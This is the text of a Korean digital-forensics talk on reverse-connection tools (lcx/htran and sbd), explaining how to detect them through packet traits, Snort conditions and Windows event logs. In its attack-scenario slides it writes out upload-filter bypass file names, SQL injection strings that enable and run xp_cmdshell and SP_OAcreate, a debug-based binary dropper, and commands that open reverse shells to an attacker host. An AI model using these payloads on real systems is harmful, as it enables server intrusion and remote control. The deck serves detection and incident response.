41
FORENSIC INSIGHT; DIGITAL FORENSICS COMMUNITY IN KOREA Reverse Connection Tool Analysis How to write detection pattern of attacker’s tool malwarel4b [email protected] http://malwarel4b.blogspot.kr http://malwarelab.tistory.com/ Cho Hoon

(130216) #fitalk reverse connection tool analysis

Embed Size (px)

Citation preview

Page 1: (130216) #fitalk   reverse connection tool analysis

FORENSIC INSIGHT; DIGITAL FORENSICS COMMUNITY IN KOREA

Reverse Connection Tool Analysis How to write detection pattern of attacker’s tool

malwarel4b

[email protected]

http://malwarel4b.blogspot.kr

http://malwarelab.tistory.com/

Cho Hoon

Page 2: (130216) #fitalk   reverse connection tool analysis

forensicinsight.org Page 2

INDEX

1. Attack Scenario

2. Attack Demonstration

3. Analyze lcx(aka htran) traffic

4. Analyze sbd(Shadowinteger’s Backdoor) traffic

5. Event Log

6. Reference

Page 3: (130216) #fitalk   reverse connection tool analysis

forensicinsight.org Page 3

Attack Scenario

- Upload Vulnerability

- SQL Injection

- EXE TO TEXT

Page 4: (130216) #fitalk   reverse connection tool analysis

forensicinsight.org Page 4

Attack Scenario

어떤걸 업로드하는가?

• Webshell (asp, aspx, jsp, php, inc, html, cer 등)

• bat, exe 등

업로드 되는 파일에 대한 검증 매카니즘

• Whitelist : 허용된 확장자만 업로드 가능

• Blacklist : 허용되지 않은 확장자 지정

• 웹쉘 확장자는 몇 가지 형태로 정해져 있으며 보통 Blacklist를 사용하여 차단

우회 방법 다양함 a.jpg.aps, a.jpg;a.asp, a.php.jpg

웹쉘을 차단하기 위해서 exe나 bat 확장자는 차단하지 않는 경우가 많음

• 파일의 처음 4~8바이트 정도만 확인해서 차단

파일 시그니처 (GIF39a, JFIF, %PNG 등)

Upload Vulnerability

Page 5: (130216) #fitalk   reverse connection tool analysis

forensicinsight.org Page 5

Attack Scenario

파일 업로드 후에는?

• 업로드 경로 찾아야 함 guessing, File download 취약점 이용

업로드 폴더에 실행 권한이 제거되어 있는 경우에는?

Upload Vulnerability

Page 6: (130216) #fitalk   reverse connection tool analysis

forensicinsight.org Page 6

Attack Scenario

But, 업로드 취약점만으로는 부족하다!!

• 원하는 파일 업로드도 잘 되었고

• 업로드된 파일의 경로도 찾았고

• 그럼, 실행만 시키면 된다.

웹서버를 통해 서버의 파일을 서버상에서 실행시킬려면?

• 웹쉘을 이용하는게 가장 쉽고

• SQL Injection을 이용한다.

Upload Vulnerability

Page 7: (130216) #fitalk   reverse connection tool analysis

forensicinsight.org Page 7

Attack Scenario

전세계적으로 가장 많이 언급되고 전세계적으로 가장 많이 보호 메커니즘을 적용하지만

여전히 취약한 사이트가 많아서 공격자들이 자주 애용하는 공격 기법

SQL Injection을 통해 시스템 명령 실행

• xp_cmdshell

MS-SQL 2005부터는 기본으로 비홗성화 그렇다고 포기할 HACKER들이 아니다!!

SP_ADDEXTENDEDPROC과 SP_CONFIGURE 프로시저를 통해 홗성화 가능

• SP_Oacreate, SP_OAMETHOD

OLE 개체의 인스턴스 생성

OLE 개체의 메쏘드 호출

SQL Injection

Page 8: (130216) #fitalk   reverse connection tool analysis

forensicinsight.org Page 8

Attack Scenario

xp_cmdshell 홗성화

• ; exec sp_configure 'show advanced options', 1 ; reconfigure ; exec sp_configure 'xp_cmdshell',

1 ; reconfigure;--

• ; exec master.dbo.xp_cmdshell 'system command';--

• xp_cmdshell 자체를 비홗성화하거나 삭제할 경우

http://support.microsoft.com/kb/891984/en-us

SP_OAcreate, SP_OAMETHOD

• xp_cmdshell에 대한 권한이 막혀 있거나 아예 삭제된 경우

• ;DECLARE @o INT EXEC SP_OAcreate 'wscript.shell',@o OUT EXEC SP_OAMETHOD

@o,'run',null, 'system command';--

SQL Injection

Page 9: (130216) #fitalk   reverse connection tool analysis

forensicinsight.org Page 9

Attack Scenario

업로드 파일에 대한 whitelist 정책을 사용해서 파일 업로드가 앆되면?

But, SQL Injection은 된다면?

• EXE TO TEXT를 이용해서 바이너리 파일을 텍스트 형태로 만들어서 생성하거나

• Batch 파일에 공격자가 준비한 FTP를 통해 파일을 다운로드해서 실행하게 하면 된다.

EXE TO TEXT

Page 10: (130216) #fitalk   reverse connection tool analysis

forensicinsight.org Page 10

Attack Scenario

But, EXE TO TEXT를 통해 추출한 값을 SQL Injection으로 만드는 건 쉬운 일이 아니다.

• lcx.exe (32Kbyte)를 EXE TO TEXT로 변홖하니 2056 라인으로 변홖됨

• 즉, SQL Injection을 2056번 때려야 함 힘들고 지겨움

• 결국, Batch 파일 만들어서 다운로드하게 하는게 속 편함

변홖된 값은 임시 파일로 만든 후 debug 명령을 통해서 실행 파일로 변홖

EXE TO TEXT

echo off echo n Ashiyane > Q7X echo e 100 4D 5A 90 0 3 0 0 0 4 0 0 0 FF FF 0 0 >> Q7X echo e 110 B8 0 0 0 0 0 0 0 40 0 0 0 0 0 0 0 >> Q7X ...snip... echo e 80F0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 >> Q7X echo e 8100 0 >> Q7X echo rcx >> Q7X echo 8000 >> Q7X echo w >> Q7X echo q >> Q7X debug <Q7X>nul & ren Ashiyane lcx.exe & lcx.exe & echo on

Page 11: (130216) #fitalk   reverse connection tool analysis

forensicinsight.org Page 11

Attack Demonstration

Page 12: (130216) #fitalk   reverse connection tool analysis

forensicinsight.org Page 12

Attack Demonstration

Attacker Side

http://victim.com/board_view.asp?num=33;exec master.dbo.xp_cmdshell

'c:\inetpub\wwwroot\upload\lcx.exe -slave 20.20.20.61 4444 127.0.0.1 3389';--

Page 13: (130216) #fitalk   reverse connection tool analysis

forensicinsight.org Page 13

Attack Demonstration

Connect Attacker’s another port

Page 14: (130216) #fitalk   reverse connection tool analysis

forensicinsight.org Page 14

Analyze lcx(aka htran) traffic

- Attack Flow

- Analyze Network Packet

- Writing Detect Pattern

Page 15: (130216) #fitalk   reverse connection tool analysis

forensicinsight.org Page 15

Analyze lcx(aka htran) traffic

Attack Flow

attacker> lcx -listen 4444 5555 victim> lcx -slave 10.10.10.62 4444 127.0.0.1 3389 attacker> mstsc 127.0.0.1:5555

Page 16: (130216) #fitalk   reverse connection tool analysis

forensicinsight.org Page 16

Analyze lcx(aka htran) traffic

공격자가 mstsc를 이용해 자신의 5555 포트로 접속하면 공격 대상의 원격 터미널과 연

결이 맺어진다.

Analyze Network Packet

Page 17: (130216) #fitalk   reverse connection tool analysis

forensicinsight.org Page 17

Analyze lcx(aka htran) traffic

공격자가 LISTEN Port를 3389로 지정할 경우 Wireshark에서 Port 번호를 보고 페이로

드를 파싱해서 출력해준다.

Analyze Network Packet

Page 18: (130216) #fitalk   reverse connection tool analysis

forensicinsight.org Page 18

Analyze lcx(aka htran) traffic

정상적인 원격 데스크탑 연결

Analyze Network Packet

Page 19: (130216) #fitalk   reverse connection tool analysis

forensicinsight.org Page 19

Analyze lcx(aka htran) traffic

Analyze Network Packet

lcx Reverse Connection - Window Size : 65535 - attacker:3389 victim:{random port}

Normal RDP Connection - Window Size : 8192 - attacker:{random port} victim:3389

Page 20: (130216) #fitalk   reverse connection tool analysis

forensicinsight.org Page 20

Analyze lcx(aka htran) traffic

정상접속과 lcx를 이용한 Reverse Connection의 차이점

• TCP Window size가 일반적인 접속과 다르다. (Window size=65535)

• Payload는 같지만 SRC Port와 DST Port가 뒤집어져 있다.

운영체제별 TTL 값과 TCP Window size

Analyze Network Packet

Operating System (OS) IP Initial TTL TCP window size

Linux (Kernel 2.4 and 2.6) 64 5840

Google’s customized Linux 64 5720

FreeBSD 64 65535

Windows XP 128 65535 -> ?????

Windows 7, Vista and Server 2008 128 8192

Cisco Router (IOS 12.4) 255 4128

<출처> http://www.netresec.com/?page=Blog&month=2011-11&post=Passive-OS-Fingerprinting

Page 21: (130216) #fitalk   reverse connection tool analysis

forensicinsight.org Page 21

Analyze lcx(aka htran) traffic

실제 테스트해보니 Windows XP의 TCP Window size가 64240이었다.

Analyze Network Packet

XP -> Linux

XP -> Win 2003

7 -> Linux

7 -> Win 2003

Win 2003 -> Linux

Win 2003 -> Win 2003

Page 22: (130216) #fitalk   reverse connection tool analysis

forensicinsight.org Page 22

Analyze lcx(aka htran) traffic

만약 공격자가 Windows 2003 서버를 자신의 PC에 설치해서 사용한다면?

만약 공격자가 장악한 또 다른 Windows 2003 서버에서 공격하는 것이라면?

• TCP Windows size로 탐지하는 것은 의미가 없다.

패킷의 페이로드만으로는 탐지가 불가능하다.

• Port 번호와 Flow만 다를 뿐 정상적인 TPKT, RDP 통신과 페이로드가 동일하기 때문

그럼 어떻게? How?

• 여러 가지 조건을 두고 만족하는 경우 탐지하게끔 패턴을 작성 SNORT

Writing Detect Pattern

Page 23: (130216) #fitalk   reverse connection tool analysis

forensicinsight.org Page 23

Analyze lcx(aka htran) traffic

lcx Reverse Connection을 탐지하기 위한 조건

• 내부 -> 외부 SYN 패킷의 Window size가 65535인 경우 (A)

• 외부 -> 내부 트래픽 중 TPKT 패킷에서 DST Port가 3389가 아닌 경우 (B)

위 두 조건이 순서대로 모두 만족할 때 탐지하면 된다.

Q. TPKT 패킷인데 DST Port가 3389가 아닌 경우가 정상일 수 있을까?

Writing Detect Pattern

Page 24: (130216) #fitalk   reverse connection tool analysis

forensicinsight.org Page 24

Analyze sbd(Shadowinteger’s Backdoor) traffic

- Attack Flow

- Analyze Network Packet

- Dig into Source Code

- Writing Detect Pattern

Page 25: (130216) #fitalk   reverse connection tool analysis

forensicinsight.org Page 25

Analyze sbd(Shadowinteger’s Backdoor) traffic

sbd는 netcat의 클론으로 기본으로 암호화 기능을 제공한다.

• 그리고 소스도 공개되어 있다.

http://packetstormsecurity.com/files/34401/sbd-1.36.tar.gz.html

그렇다면, Packet을 분석해서 탐지 패턴을 작성할 수 있는가?

• 작성된 패턴이 오탐 없이 의미 있는 일을 수행할 수 있는가?

• sbd를 통해 Reverse Connection 연결시 특징은 졲재하는가?

다른 네트워크 연결들과 다른 sbd만 갖는 특징이 있다면 오탐을 최소한으로 줄이고 탐지하는 것

이 가능하다.

Attack Flow

attacker> sbd -l -v -p 6666 victim> sbd -e cmd.exe attacker 6666

Page 26: (130216) #fitalk   reverse connection tool analysis

forensicinsight.org Page 26

Reverse Connection Traffic with sbd

Analyze sbd(Shadowinteger’s Backdoor) traffic

Analyze Network Packet

Page 27: (130216) #fitalk   reverse connection tool analysis

forensicinsight.org Page 27

Analyze sbd(Shadowinteger’s Backdoor) traffic

암호화 옵션을 제거하고 연결을 맺으면

Analyze Network Packet

Page 28: (130216) #fitalk   reverse connection tool analysis

forensicinsight.org Page 28

Analyze sbd(Shadowinteger’s Backdoor) traffic

sbd로 Reverse Connection을 맺을 경우에도 특징이 졲재했다.

대략 20번 정도 테스트했고 Windows에서만 테스트 했다.

Victim이 리눅스인 경우 위 Flow 중 4,5번째는 없다.

• 윈도우에서는 cmd.exe 실행시 나타나는 배너가 졲재하지만 /bin/bash로 reverse connection을

할 경우 배너 메시지가 없기 때문임

Analyze Network Packet

Page 29: (130216) #fitalk   reverse connection tool analysis

forensicinsight.org Page 29

Analyze sbd(Shadowinteger’s Backdoor) traffic

소스코드를 확인해보면 pel.c 파일에 최초 연결시 클라이언트(Victim)에서 IV(Initial

Vector)를 생성해서 전송하는데 이때 전송되는 데이터의 크기가 40bytes이다.

Dig into Source Code

Page 30: (130216) #fitalk   reverse connection tool analysis

forensicinsight.org Page 30

Analyze sbd(Shadowinteger’s Backdoor) traffic

서버(Attacker)는 클라이언트에게서 전송된 40bytes의 Initial Vector를 수신해서

Session Key를 설정한다.

공격자가 소스코드를 수정하지 않는 이상 전송되는 40bytes를 탐지 조건으로 사용 가능

Dig into Source Code

Page 31: (130216) #fitalk   reverse connection tool analysis

forensicinsight.org Page 31

Analyze sbd(Shadowinteger’s Backdoor) traffic

세션키 교홖 후 클라이언트와 서버는 Handshake 과정을 통해 연결을 맺는다.

Dig into Source Code

pel_client_init

pel_server_init

Page 32: (130216) #fitalk   reverse connection tool analysis

forensicinsight.org Page 32

Analyze sbd(Shadowinteger’s Backdoor) traffic

각각 52bytes씩 주고 받으며 16바이트 연산 후 나머지 데이터를 연산해서 전송

Dig into Source Code

Page 33: (130216) #fitalk   reverse connection tool analysis

forensicinsight.org Page 33

Analyze sbd(Shadowinteger’s Backdoor) traffic

sbd는 기본적으로 암호화 통신을 제공하며 공격자 입장에서는 상당히 매력적인 기능이

기 때문에 굳이 암호화 기능을 해제하고 사용하지 않을 것이다.

• 즉, 암호화되기 때문에 Payload로 탐지하는 것은 불가능

sbd의 가장 큰 특징은

• 3way Handshake 이후 클라이언트(Victim)에서 서버(Attacker)로 40byte의 데이터를 젂송

• 클라이언트에서 서버로 52byte 데이터 젂송

• 서버에서 클라이언트로 52byte 데이터 젂송

Writing Detect Pattern

Page 34: (130216) #fitalk   reverse connection tool analysis

forensicinsight.org Page 34

Analyze sbd(Shadowinteger’s Backdoor) traffic

sbd Reverse Connection을 탐지하기 위한 조건

• 3가지 조건이 순차적으로 매칭될 경우에만 탐지하도록 패턴 작성

SNORT flowbits 옵션 사용

Writing Detect Pattern

Page 35: (130216) #fitalk   reverse connection tool analysis

forensicinsight.org Page 35

Event Log

Page 36: (130216) #fitalk   reverse connection tool analysis

forensicinsight.org Page 36

Event Log

침해사고조사 관점에서 볼 경우

• lcx나 sbd 파일의 생성 시간과 웹로그 등을 확인해서 파일이 어떤 경로를 통해 업로드 또는 생성

되었는지는 확인이 가능하지만 언제 접속(Reverse Connection) 했었는지 파일만 가지고는 확인

이 불가능하다.

• lcx의 경우 원격 터미널 접속을 하기 때문에 이벤트 로그에 흔적이 남는다.

• sbd는 cmd.exe만 실행해서 Reverse Connection을 맺기 때문에 흔적이 남지 않는다.

• UserAssist나 Prefetch(App Prefetch가 설정되어 있다면)와 같은 정보를 통해 실행된 횟수나 실행

된 시간을 짐작할 수도 있다.

Page 37: (130216) #fitalk   reverse connection tool analysis

forensicinsight.org Page 37

Event Log

lcx를 통해 Reverse Connection을 맺을 경우

• 680 : Account Used for Logon by

• 552 : 이미 다른 사용자가 로그온한 상태에서 명시적 자격 증명을 사용해서 로그온 시도

• 528 : 로그온 성공

• 576 : 권한 부여

• 682 : 세션 재연결

• Event ID 552나 682의 경우 기졲에 연결했던 사용자가 로그오프 하지 않고 세션만 끊은 상태에

서 접속할 경우 발생되는 이벤트 로그로 실제 발생하지 않을 수도 있다.

Page 38: (130216) #fitalk   reverse connection tool analysis

forensicinsight.org Page 38

Event Log

Event ID 528은 로그온 성공 메시지로 로그온 유형과 원본 네트워크 주소를 확인할 수

있다.

• 로그온 유형 10은 원격으로 대화형 모드로 로그온하는 것을 의미한다. (RemoteInteractive)

• 원격에서 로그온하는데 원본네트워크주소가 로컬호스트(127.0.0.1)인 것은 이상하다.

원본네트워크주소가 127.0.0.1이라면 로그온 유형이 2이어야 한다.

Page 39: (130216) #fitalk   reverse connection tool analysis

forensicinsight.org Page 39

Event Log

세션을 끊거나 재연결시 발생되는 이벤트 로그에는 클라이언트 이름과 클라이언트 주소

가 남는다.

공격자가 원격 터미널 접근시 mstsc 127.0.0.1:5555와 같은 형태가 아닌 공격자 자신의

실제 IP를 사용하더라도 이벤트 로그에는 클라이언트 주소가 127.0.0.1로 로깅된다.

Page 40: (130216) #fitalk   reverse connection tool analysis

forensicinsight.org Page 40

Reference

Passive OS Fingerprinting

• http://www.netresec.com/?page=Blog&month=2011-11&post=Passive-OS-Fingerprinting

HTran(HUC Packet Transmit Tool)

• http://code.google.com/p/archive-code/source/browse/trunk/HTran/HTran.cpp?r=7

Window size 개념

• http://4network.tistory.com/entry/windowsize

Permanent Reverse Backdoor for IPhone / IPad

• http://www.coresec.org/2012/04/24/permanent-reverse-backdoor-for-iphone-ipad/

sbd-1.36.tar.gz

• http://packetstormsecurity.com/files/34401/sbd-1.36.tar.gz.html

Page 41: (130216) #fitalk   reverse connection tool analysis

forensicinsight.org Page 41

Question and Answer